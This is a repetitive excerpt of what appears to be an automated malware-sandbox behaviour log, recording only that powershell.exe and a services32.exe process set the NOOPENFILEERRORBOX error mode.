Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
